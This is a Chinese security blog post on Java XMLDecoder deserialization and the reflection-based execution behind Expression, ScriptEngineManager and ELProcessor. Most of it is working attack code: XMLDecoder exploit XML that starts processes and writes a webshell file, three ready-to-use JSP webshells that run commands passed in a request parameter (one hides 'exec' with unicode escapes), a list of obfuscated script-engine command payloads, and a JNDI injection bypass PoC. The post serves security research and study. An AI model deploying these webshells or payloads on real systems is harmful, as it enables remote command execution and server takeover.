XMLDecoder反序列化漏洞底层扩展与WebShell

阅读量205831

|

发布时间 : 2021-08-05 16:30:15

 

XMLDecoder反序列化漏洞底层

参考的文章已经分析的非常详细了,这里我主要是就是一下最后的执行是怎么样的。也就是Expression类的使用

import java.beans.Expression;

public class test {
    public static void main(String[] args)throws Exception {
        Parameter();//有参数
        NoParameter();//无参数
    }
    public static void Parameter() throws Exception{
        Object var3 = new ProcessBuilder();
        String var4 = "command";
        String[] strings = new String[]{"calc"};
        Object[] var2 = new Object[]{strings};
        Expression var5 = new Expression(var3, var4, var2);
        Object value = var5.getValue();//获得参数的类

        String var1 = "start";
        Object[] var6 = new Object[]{};
        Expression expression = new Expression(value, var1, var6);//执行start方法
        expression.getValue();

//        为什么不能执行?因为class.newInstance只能调用无参构造函数而ProcessBuilder没有无参数构造函数。
//        Class<?> aClass = value.getClass();
//        Object o = aClass.newInstance();
//        Method start = aClass.getMethod("start");
//        start.invoke(o);
    }
    public static void NoParameter(){
        String[] strings = new String[]{"cmd.exe","/c","calc"};
        Object var3 = new ProcessBuilder(strings);
        String var4 = "start";
        Object[] var2 = new Object[]{};
        Expression var5 = new Expression(var3, var4, var2);
        try {
            var5.getValue();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

并且通过测试可以发现Expression的使用,给出下面的例子。

public class cmd {
    public void Noparameter(){
        System.out.println("无参数调用....");
    }
    public void Parameter(Object[] obj){
        System.out.println("有参数调用....");
    }
}
import java.beans.Expression;

public class test1 {
    public static void main(String[] args)throws Exception {
        Object var3 = new cmd();
        String var4 = "Parameter";//Noparameter
        Object[] var2 = new Object[]{"233333"};
        var2 = new Object[]{var2};
        var2 = new Object[]{};
        Expression var5 = new Expression(var3, var4, var2);
        var5.getValue();
    }
}

并且给出了一些exp。

<?xml version="1.0" encoding="UTF-8"?>
<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
            <void index="0">
                <string>cmd.exe</string>
            </void>
            <void index="1">
                <string>/c</string>
            </void>
            <void index="2">
                <string>calc</string>
            </void>
        </array>
        <void method="start">
        </void>
    </object>
</java>

通过实体编码绕过

<?xml version="1.0" encoding="UTF-8"?>
<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
            <void index="0">
                <string>cmd.exe</string>
            </void>
            <void index="1">
                <string>/c</string>
            </void>
            <void index="2">
                <string>calc</string>
            </void>
        </array>
        <void method="start"/>
    </object>
</java>
<?xml version="1.0" encoding="UTF-8"?>
<java>
 <object class="java.io.PrintWriter">
  <string>D:\shell.jsp</string>
  <void method="println">
  <string>
   webshell
 </string>
  </void>
  <void method="close"/>
 </object>
</java>

想了一下Expression类,底层是通过反射执行的,那我们能不能制作webshell?当然可以

 

WebShell

Expression

package shell.Expression;

import java.beans.Expression;

public class test {
    public static void main(String[] args) {
        String payload ="calc";
        Expression expression = new Expression(Runtime.getRuntime(),"\u0065"+"\u0078"+"\u0065"+"\u0063",new Object[]{payload});
        try {
            expression.getValue();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

上面是java代码,执行的原理是反射在getValue方法中可以清楚的看到,要制作webshell就需要jsp代码。

<%@ page import="java.beans.Expression"%>
<%@ page contentType="text/html; charset=UTF-8" language="java" %>
<%
    String payload =request.getParameter("cmd");
    Expression expression = new Expression(Runtime.getRuntime(),"\u0065"+"\u0078"+"\u0065"+"\u0063",new Object[]{payload});
    expression.getValue();
%>

介绍到这里又突然想到了其他表达式类的执行。

ScriptEngineManager

通过ScriptEngineManager这个类可以实现Java跟JS的相互调用,虽然Java自己没有eval函数,但是ScriptEngineManager有eval函数,并且可以直接调用Java对象,也就相当于间接实现了Java的eval功能。

package shell.ScriptEngineManager;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;

public class test {
    public static void main(String[] args) throws Exception{
        String test = "print('hello word!!');";
        String payload1 = "java.lang.Runtime.getRuntime().exec(\"calc\")";
        String payload2 = "var a=exp();function exp(){var x=new java.lang.ProcessBuilder; x.command(\"calc\"); x.start();};";
        String payload3 = "var a=exp();function exp(){java.lang./****/Runtime./***/getRuntime().exec(\"calc\")};";
        String payload4 = "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065.getRuntime().exec(\"calc\");";
        String payload5 = "var a= Java.type(\"java.lang\"+\".Runtime\"); var b =a.getRuntime();b.exec(\"calc\");";
        String payload6 = "load(\"nashorn:mozilla_compat.js\");importPackage(java.lang); var x=Runtime.getRuntime(); x.exec(\"calc\");";
        //兼容Rhino功能 https://blog.csdn.net/u013292493/article/details/51020057
        String payload7 = "var a =JavaImporter(java.lang); with(a){ var b=Runtime.getRuntime().exec(\"calc\");}";
//        String payload8 = "var scr = document.createElement(\"script\");scr.src = \"http://127.0.0.1:8082/js.js\";document.body.appendChild(scr);exec();";
        eval(payload7);
    }
    public static void eval(String payload){
        payload=payload;
        ScriptEngineManager manager = new ScriptEngineManager(null);
        ScriptEngine engine = manager.getEngineByName("js");
        try {
            engine.eval(payload);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

然后自己突发奇想,思考能不能远程加载js代码?然后执行远程js代码里面的exp。参考payload8

function exec(){    
    var a=exp();function exp(){var x=new java.lang.ProcessBuilder; x.command("calc"); x.start();};
}

执行失败!百度了一下原因大概是因为java在执行js代码的时候没有浏览器的内置对象如:document,window等等。

解决方法 大概就是添加组件配置java解析浏览器的环境??这样的话基本上不可能这样配置了,于是自己就没有在深入了解了。

java执行js代码的底层原理

这里自己调试会很多次中间的具体流程基本上就是一个解析过程,所以只看最后。

其实本质上还是反射。最后的调用apply:393, ScriptRuntime (jdk.nashorn.internal.runtime) 的apply方式去执行。

在看一下调用栈:

apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
evalImpl:449, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:406, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:402, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:155, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:264, AbstractScriptEngine (javax.script)
eval:24, test (shell.ScriptEngineManager)
main:17, test (shell.ScriptEngineManager)

调试过程大家可以自己去测试

而上面的加载远程js的思路是来自自己调试的过程。

那webshell.无回显的

<%@ page import="javax.script.ScriptEngineManager" %>
<%@ page import="javax.script.ScriptEngine" %>
<%
    ScriptEngineManager manager = new ScriptEngineManager(null);
    ScriptEngine engine = manager.getEngineByName("js");
    String payload = request.getParameter("cmd");
    engine.eval(payload);
%>

然后不得不说java中还有一个表达式执行的,那就是EL表达式

ELProcessor

表达式语言(Expression Language),或称EL表达式,简称EL,是Java中的一种特殊的通用编程语言,借鉴于JavaScript和XPath。主要作用是在Java Web应用程序嵌入到网页(如JSP)中,用以访问页面的上下文以及不同作用域中的对象 ,取得对象属性的值,或执行简单的运算或判断操作。EL在得到某个数据时,会自动进行数据类型的转换。

ELProcessor也有自己的eval函数,并且可以调用Java对象执行命令。

package shell.EL;

import javax.el.ELProcessor;

public class test {
    public static void main(String[] args) throws Exception {
        String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='calc';java.lang.Runtime.getRuntime().exec(exp);\")";

        String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +
                ".newInstance().getEngineByName('nashorn')" +
                ".eval(\"s=[3];s[0]='cmd.exe';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")";

        ELeval(payload);
    }
    public static void ELeval(String payload){
        payload=payload;
        ELProcessor elProcessor = new ELProcessor();
        try {
            elProcessor.eval(payload);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

我们也可以看看EL表达式的底层原理。

EL表达式的底层原理

我们使用payload进行debug调试,一直跟着流程走发现最后还是通过反射去执行。

最后在AstValue类中执行getValue方法,从而调用payload,之后就会js代码执行的流程一样了。

调用栈:

getValue:159, AstValue (org.apache.el.parser)
getValue:190, ValueExpressionImpl (org.apache.el)
getValue:61, ELProcessor (javax.el)
eval:54, ELProcessor (javax.el)
ELeval:20, test (shell.EL)
main:13, test (shell.EL)

webshell.无回显的

<%@ page import="javax.el.ELProcessor"%>
<%@ page contentType="text/html; charset=UTF-8" language="java" %>
<%
    String cmd =request.getParameter("cmd");
    String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='"+cmd+"';java.lang.Runtime.getRuntime().exec(exp);\")";
    ELProcessor elProcessor = new ELProcessor();
    elProcessor.eval(payload);
%>

介绍到这里,突然想到了jndi注入绕过jdk191+,其中的一种方法就是利用ELProcessor类

这里直接给出poc

Registry registry = LocateRegistry.createRegistry(rmi_port);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
ref.add(new StringRefAddr("forceString", "KINGX=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe','/c','calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);

还有一种方法是通过LDAP去绕过,自己写了一个小工具

 

总结

通过学习XMLDecoder的底层执行的流程去发现其他表达式执行,而其中的很多底层都是通过java反射技术实现的!

若文章中出现错误希望师傅们提出,感谢~

参考:

https://www.freebuf.com/articles/network/247331.html

https://www.anquanke.com/post/id/214435

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

本文由Firebasky原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/248771

安全客 - 有思想的安全新媒体

分享到:微信
+14赞
收藏
Firebasky
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66